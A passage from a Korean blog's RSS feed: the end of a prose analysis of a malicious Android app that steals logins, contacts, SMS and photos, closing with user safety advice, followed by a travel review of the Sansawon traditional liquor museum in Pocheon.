data-origin-height=&quot;1118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;같은 폴더 내에는 여러 자바스크립트 파일들이 존재하는데 이중 dm.js 파일에 주요 악성행위가 구현되어 있다. 코드 내 bind_ui() 함수에서 앱 화면을 구성하고 초대코드를 처리하는 로직을 포함하고 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1084&quot; data-origin-height=&quot;410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvTGuH/btsKLyLoQld/WMNs0ethWMIxYu9YK2Aj70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvTGuH/btsKLyLoQld/WMNs0ethWMIxYu9YK2Aj70/img.png&quot; data-alt=&quot;로그인 버튼 클릭시 콜백함수&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvTGuH/btsKLyLoQld/WMNs0ethWMIxYu9YK2Aj70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdvTGuH%2FbtsKLyLoQld%2FWMNs0ethWMIxYu9YK2Aj70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1084&quot; height=&quot;410&quot; data-origin-width=&quot;1084&quot; data-origin-height=&quot;410&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;로그인 버튼 클릭시 콜백함수&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;'로그인' 버튼 클릭시 호출되는 콜백함수를 분석하면 두 개의 입력폼(전화번호, 비밀번호)에 대한 사용자 입력 값을 저장하고 빈칸이 아닐 경우 새로운 창을 열도록 하고 있다. 서버의 응답으로 url(jump_url)가 전달되는데 서버가 동작중이 아니어서 확인할 수 없다. 따라서 확인가능한 범위에서 악성행위 위주로 분석한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;822&quot; data-origin-height=&quot;872&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XUBPM/btsKLmxv7b4/iuUV2rYjTHBUwGKXC1nKCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XUBPM/btsKLmxv7b4/iuUV2rYjTHBUwGKXC1nKCK/img.png&quot; data-alt=&quot;houqu() 함수&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XUBPM/btsKLmxv7b4/iuUV2rYjTHBUwGKXC1nKCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXUBPM%2FbtsKLmxv7b4%2FiuUV2rYjTHBUwGKXC1nKCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;434&quot; height=&quot;460&quot; data-origin-width=&quot;822&quot; data-origin-height=&quot;872&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;houqu() 함수&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;악성행위가 포함된 함수로 연락처 정보 수집, SMS 수집, 사진 목록 등을 수집하는 코드를 확인하였다. 함수 실행 시 전화번호와 초대코드를 인자로 받고 있어 공격자가 피해자를 구분하는 방법으로 사용하고 있음을 확인할 수 있다. 마찬가지로 서버가 동작하지 않아 응답을 확인할 수는 없었다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.56.00.png&quot; data-origin-width=&quot;2732&quot; data-origin-height=&quot;1372&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GEqn9/btsKLgEhoeO/Sdx6Zjx7doTE8RW6Kz1vX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GEqn9/btsKLgEhoeO/Sdx6Zjx7doTE8RW6Kz1vX1/img.png&quot; data-alt=&quot;악성 앱 실행 흐름&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GEqn9/btsKLgEhoeO/Sdx6Zjx7doTE8RW6Kz1vX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGEqn9%2FbtsKLgEhoeO%2FSdx6Zjx7doTE8RW6Kz1vX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;534&quot; height=&quot;268&quot; data-filename=&quot;스크린샷 2024-11-16 오후 5.56.00.png&quot; data-origin-width=&quot;2732&quot; data-origin-height=&quot;1372&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;악성 앱 실행 흐름&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;간략하게 정리한 악성앱 실행 흐름이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;사용자는&amp;nbsp;Google&amp;nbsp;Play&amp;nbsp;스토어&amp;nbsp;외부에서&amp;nbsp;앱을&amp;nbsp;설치할&amp;nbsp;때&amp;nbsp;신뢰할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;출처에서만&amp;nbsp;다운로드&amp;nbsp;해야&amp;nbsp;한다.&amp;nbsp;만약&amp;nbsp;앱이&amp;nbsp;의심스러운&amp;nbsp;동작을&amp;nbsp;보이거나&amp;nbsp;악성&amp;nbsp;행위가&amp;nbsp;우려되는&amp;nbsp;상황이라면,&amp;nbsp;보안&amp;nbsp;전문가의&amp;nbsp;도움을&amp;nbsp;받아&amp;nbsp;정확한&amp;nbsp;진단과&amp;nbsp;대응&amp;nbsp;조치를&amp;nbsp;받는&amp;nbsp;것이&amp;nbsp;중요하다.&amp;nbsp;안전한&amp;nbsp;모바일&amp;nbsp;환경을&amp;nbsp;유지하기&amp;nbsp;위해&amp;nbsp;신중한&amp;nbsp;접근과&amp;nbsp;정보&amp;nbsp;보안&amp;nbsp;의식이&amp;nbsp;필요하다.&lt;/p&gt;</description>
      <category>Report/Term paper</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/283</guid>
      <comments>https://gomguk.tistory.com/283#entry283comment</comments>
      <pubDate>Fri, 22 Nov 2024 20:23:33 +0900</pubDate>
    </item>
    <item>
      <title>[경기 포천] 느린마을 양조장 산사원 방문 후기</title>
      <link>https://gomguk.tistory.com/282</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;1박2일 포천 여행 중 방문한 산사원을 소개한다.&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;주소: 경기 포천시 화현면 화동로432번길 25&lt;br /&gt;  주차: 전통술 박물관 산사원 앞쪽 주차공간&lt;br /&gt;  운영시간: 매일 8:30 ~ 17:30(명절연휴 휴무)&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;예약&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;현장예매도 할 수 있는데 네이버 예매를 이용하면 12% 할인된 3,500원에 이용할 수 있다. 월단위로 예약하고 아무때나 방문하면 되니 방문하기 하루 전에 예약하고 가면 된다. (네이버 예약으로는 당일 예약, 당일방문은 되지 않는다.)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 현장예매: 4,000원&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 네이버 예매: 3,500원&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;입장료가 있긴 하지만 방문하면 산사원의 여러가지 술을 시음할 수 있고, 느린마을 막걸리도 한병씩 제공하니 가성비 좋은 곳이라고 할 수 있겠다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://m.place.naver.com/place/12400953/ticket&quot;&gt;https://m.place.naver.com/place/12400953/ticket&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1732185331868&quot; style=&quot;color: #333333; text-align: start;&quot; contenteditable=&quot;false&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b5VYyY/hyXzUUA5z5/qSUkFwNKiAGqNFe9fkRVK1/img.jpg?width=640&amp;amp;height=380&amp;amp;face=0_0_640_380,https://scrap.kakaocdn.net/dn/biEhl2/hyXwjuZgTl/dZVVpc6eb9ERHVWL3o4Jc0/img.jpg?width=640&amp;amp;height=380&amp;amp;face=0_0_640_380,https://scrap.kakaocdn.net/dn/blCWHR/hyXzJeskvV/8ZIpqEaEyUA0Td99Ntl8j0/img.jpg?width=560&amp;amp;height=560&amp;amp;face=0_0_560_560&quot; data-og-url=&quot;https://m.place.naver.com/place/12400953/ticket&quot; data-og-source-url=&quot;https://m.place.naver.com/place/12400953/ticket&quot; data-og-host=&quot;m.place.naver.com&quot; data-og-description=&quot;방문자리뷰 3,109 &amp;middot; 블로그리뷰 1,697&quot; data-og-title=&quot;전통술박물관산사원 : 네이버 &quot; data-og-type=&quot;article&quot; data-ke-align=&quot;alignCenter&quot; data-ke-type=&quot;opengraph&quot;&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://m.place.naver.com/place/12400953/ticket&quot; data-source-url=&quot;https://m.place.naver.com/place/12400953/ticket&quot;&gt;
&lt;div style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b5VYyY/hyXzUUA5z5/qSUkFwNKiAGqNFe9fkRVK1/img.jpg?width=640&amp;amp;height=380&amp;amp;face=0_0_640_380,https://scrap.kakaocdn.net/dn/biEhl2/hyXwjuZgTl/dZVVpc6eb9ERHVWL3o4Jc0/img.jpg?width=640&amp;amp;height=380&amp;amp;face=0_0_640_380,https://scrap.kakaocdn.net/dn/blCWHR/hyXzJeskvV/8ZIpqEaEyUA0Td99Ntl8j0/img.jpg?width=560&amp;amp;height=560&amp;amp;face=0_0_560_560');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;p style=&quot;color: #000000;&quot; data-ke-size=&quot;size16&quot;&gt;전통술박물관산사원 : 네이버 &lt;/p&gt;
&lt;p style=&quot;color: #909090;&quot; data-ke-size=&quot;size16&quot;&gt;방문자리뷰 3,109 &amp;middot; 블로그리뷰 1,697&lt;/p&gt;
&lt;p style=&quot;color: #909090;&quot; data-ke-size=&quot;size16&quot;&gt;m.place.naver.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_스크린샷 2024-11-16 오후 2.59.39.png&quot; data-origin-width=&quot;729&quot; data-origin-height=&quot;540&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/H9iLF/btsKKF5xf8z/eiPFL8A1PZibleWkLQW1CK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/H9iLF/btsKKF5xf8z/eiPFL8A1PZibleWkLQW1CK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/H9iLF/btsKKF5xf8z/eiPFL8A1PZibleWkLQW1CK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FH9iLF%2FbtsKKF5xf8z%2FeiPFL8A1PZibleWkLQW1CK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;729&quot; height=&quot;540&quot; data-filename=&quot;edited_스크린샷 2024-11-16 오후 2.59.39.png&quot; data-origin-width=&quot;729&quot; data-origin-height=&quot;540&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;느린마을 양조장은 크게 두개의 공간으로 나눌 수 있는데, 하나는 전통술박물관인 &quot;산사원&quot;본관 실내건물, 다른 하나는 &quot;느린마을&quot; 이라고 적힌 문을 지나면 술 저장고 와 산책로가 있는 곳이다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;술 박물관&lt;/span&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;술 박물관은 이렇게 생긴 곳으로 들어가면 직원분이 예약 확인과 술 교환권을 교환해준다. 바로 시음장으로 이동해도 되지만 술이 어떻게 만들어지는지, 과거에는 어떤 방식으로 주조했는지 과정을 볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;48C8D148-1EDE-40D7-831C-9E162D9E48CE_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t7Ag9/btsKLiu5KHz/4wKGzNkLwQ0nEz1Ky3p6G0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t7Ag9/btsKLiu5KHz/4wKGzNkLwQ0nEz1Ky3p6G0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t7Ag9/btsKLiu5KHz/4wKGzNkLwQ0nEz1Ky3p6G0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft7Ag9%2FbtsKLiu5KHz%2F4wKGzNkLwQ0nEz1Ky3p6G0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;768&quot; data-filename=&quot;48C8D148-1EDE-40D7-831C-9E162D9E48CE_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;박물관 내부는 넓지 않지만 직접 술을 빚는 체험을 할 수있는 공간도 있었고, 무엇보다 시음과 판매하는 곳이 마음에 들었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2388C4B9-97E0-41AB-9D02-30D9D4B2C960_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;767&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XxJzM/btsKLsYLcci/PSfqIu8pKmIKlTeCTAUneK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XxJzM/btsKLsYLcci/PSfqIu8pKmIKlTeCTAUneK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XxJzM/btsKLsYLcci/PSfqIu8pKmIKlTeCTAUneK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXxJzM%2FbtsKLsYLcci%2FPSfqIu8pKmIKlTeCTAUneK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;721&quot; height=&quot;540&quot; data-filename=&quot;2388C4B9-97E0-41AB-9D02-30D9D4B2C960_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;767&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;B5B3362C-02B3-4AF3-99CE-48B3B5A4E865_1_105_c.jpeg&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dehWR2/btsKL26yZb8/l9Re3mOwzPNera269Ua7j0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dehWR2/btsKL26yZb8/l9Re3mOwzPNera269Ua7j0/img.jpg&quot; data-alt=&quot;시음장소&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dehWR2/btsKL26yZb8/l9Re3mOwzPNera269Ua7j0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdehWR2%2FbtsKL26yZb8%2Fl9Re3mOwzPNera269Ua7j0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;685&quot; height=&quot;915&quot; data-filename=&quot;B5B3362C-02B3-4AF3-99CE-48B3B5A4E865_1_105_c.jpeg&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;시음장소&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;박물관 관람이 끝나면 자연스럽게 시음할 수 있는 공간으로 이어지도록 동선이 짜여져 있는데 여기에 있는 카운터에서 시음권과 시음잔을 교환받아서 자유롭게 시음할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;막걸리부터 과실주, 증류주까지 다양하게 구성되어 있는데 놓여진 술따라서 한바퀴 돌면서 먹다보면 어느새 취해있는 모습을 볼 수 있다. 술과 함께 먹을 수 있도록 간단한 마른안주도 마련되어 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;느린마을이 대중교통으로 접근이 어려운 곳이다보니 운전을 해서 방문했는데 같이 간 친구들만 맛있게 시음하고, 향만 맡았다. 맛이 괜찮다고 한 몇가지가 있었는데 다음에 기회가 닿으면 먹어볼 예정이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;저녁에 숙소에서 먹을 술도 골라담고 교환권으로 제공받은 막걸리까지 해서 다음 장소로 이동했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;72C584FF-88D3-4200-8F37-0169E1E7863C_1_105_c.jpeg&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bq6mCc/btsKMHHjEad/jmK69XAvsyljc1D0m8T9A0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bq6mCc/btsKMHHjEad/jmK69XAvsyljc1D0m8T9A0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bq6mCc/btsKMHHjEad/jmK69XAvsyljc1D0m8T9A0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbq6mCc%2FbtsKMHHjEad%2FjmK69XAvsyljc1D0m8T9A0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;560&quot; height=&quot;748&quot; data-filename=&quot;72C584FF-88D3-4200-8F37-0169E1E7863C_1_105_c.jpeg&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;느린마을&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;510CD218-32A7-4C21-A924-59F5BCDEECEC_1_105_c.jpeg&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rbpqE/btsKKFdn7Aq/vEEQHOJawYNOra1OmxqdW1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rbpqE/btsKKFdn7Aq/vEEQHOJawYNOra1OmxqdW1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rbpqE/btsKKFdn7Aq/vEEQHOJawYNOra1OmxqdW1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrbpqE%2FbtsKKFdn7Aq%2FvEEQHOJawYNOra1OmxqdW1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;618&quot; height=&quot;825&quot; data-filename=&quot;510CD218-32A7-4C21-A924-59F5BCDEECEC_1_105_c.jpeg&quot; data-origin-width=&quot;767&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;박물관밖으로 나오면 느린마을이라고 적힌 장소로 이동한다. 술 항아리로 산책로를 꾸며놓은 곳이 있는데 멀리서 봐도 좋았고 가까이에서 봐도 괜찮은 곳이었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYltk5/btsKLg5hT8w/jGoDga4EVZ4QGUYZz27hy1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYltk5/btsKLg5hT8w/jGoDga4EVZ4QGUYZz27hy1/img.jpg&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot; data-filename=&quot;99C5A9CF-4E6A-41A2-BE7B-A6A197FFDDB9_1_105_c.jpeg&quot; data-origin-height=&quot;1024&quot; data-origin-width=&quot;768&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYltk5/btsKLg5hT8w/jGoDga4EVZ4QGUYZz27hy1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYltk5%2FbtsKLg5hT8w%2FjGoDga4EVZ4QGUYZz27hy1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;768&quot; height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0W42V/btsKK0VX6da/GTpWsOURiUVaKMjyCLSJRk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0W42V/btsKK0VX6da/GTpWsOURiUVaKMjyCLSJRk/img.jpg&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot; data-filename=&quot;A5F9C585-6507-4614-90C8-763B297FCEA8_1_105_c.jpeg&quot; data-origin-height=&quot;1024&quot; data-origin-width=&quot;768&quot; 